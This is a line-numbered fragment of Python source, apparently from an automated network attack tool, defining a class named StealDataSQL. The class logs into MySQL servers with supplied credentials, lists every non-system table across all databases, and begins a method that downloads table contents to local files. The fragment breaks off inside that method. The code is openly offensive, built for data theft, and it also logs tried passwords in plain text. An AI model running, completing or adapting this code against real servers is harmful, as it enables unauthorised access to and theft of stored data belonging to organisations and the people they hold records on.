Class to handle the process of stealing data from SQL servers.
| 19 | b_port = 3306 |
| 20 | |
| 21 | class StealDataSQL: |
| 22 | """ |
| 23 | Class to handle the process of stealing data from SQL servers. |
| 24 | """ |
| 25 | def __init__(self, shared_data): |
| 26 | try: |
| 27 | self.shared_data = shared_data |
| 28 | self.sql_connected = False |
| 29 | self.stop_execution = False |
| 30 | logger.info("StealDataSQL initialized.") |
| 31 | except Exception as e: |
| 32 | logger.error(f"Error during initialization: {e}") |
| 33 | |
| 34 | def connect_sql(self, ip, username, password, database=None): |
| 35 | """ |
| 36 | Establish a MySQL connection using SQLAlchemy. |
| 37 | """ |
| 38 | try: |
| 39 | # Si aucune base n'est spécifiée, on se connecte sans base |
| 40 | db_part = f"/{database}" if database else "" |
| 41 | connection_str = f"mysql+pymysql://{username}:{password}@{ip}:3306{db_part}" |
| 42 | engine = create_engine(connection_str, connect_args={"connect_timeout": 10}) |
| 43 | self.sql_connected = True |
| 44 | logger.info(f"Connected to {ip} via SQL with username {username}" + (f" to database {database}" if database else "")) |
| 45 | return engine |
| 46 | except Exception as e: |
| 47 | logger.error(f"SQL connection error for {ip} with user '{username}' and password '{password}'" + (f" to database {database}" if database else "") + f": {e}") |
| 48 | return None |
| 49 | |
| 50 | def find_tables(self, engine): |
| 51 | """ |
| 52 | Find all tables in all databases, excluding system databases. |
| 53 | """ |
| 54 | try: |
| 55 | if self.shared_data.orchestrator_should_exit: |
| 56 | logger.info("Table search interrupted due to orchestrator exit.") |
| 57 | return [] |
| 58 | query = """ |
| 59 | SELECT TABLE_NAME, TABLE_SCHEMA |
| 60 | FROM INFORMATION_SCHEMA.TABLES |
| 61 | WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys') |
| 62 | AND TABLE_TYPE = 'BASE TABLE' |
| 63 | """ |
| 64 | df = pd.read_sql(query, engine) |
| 65 | tables = df[['TABLE_NAME', 'TABLE_SCHEMA']].values.tolist() |
| 66 | logger.info(f"Found {len(tables)} tables across all databases") |
| 67 | return tables |
| 68 | except Exception as e: |
| 69 | logger.error(f"Error finding tables: {e}") |
| 70 | return [] |
| 71 | |
| 72 | def steal_data(self, engine, table, schema, local_dir): |
| 73 | """ |
| 74 | Download data from the table in the database to a local file. |
| 75 | """ |
| 76 | try: |
| 77 | if self.shared_data.orchestrator_should_exit: |
| 78 | logger.info("Data stealing process interrupted due to orchestrator exit.") |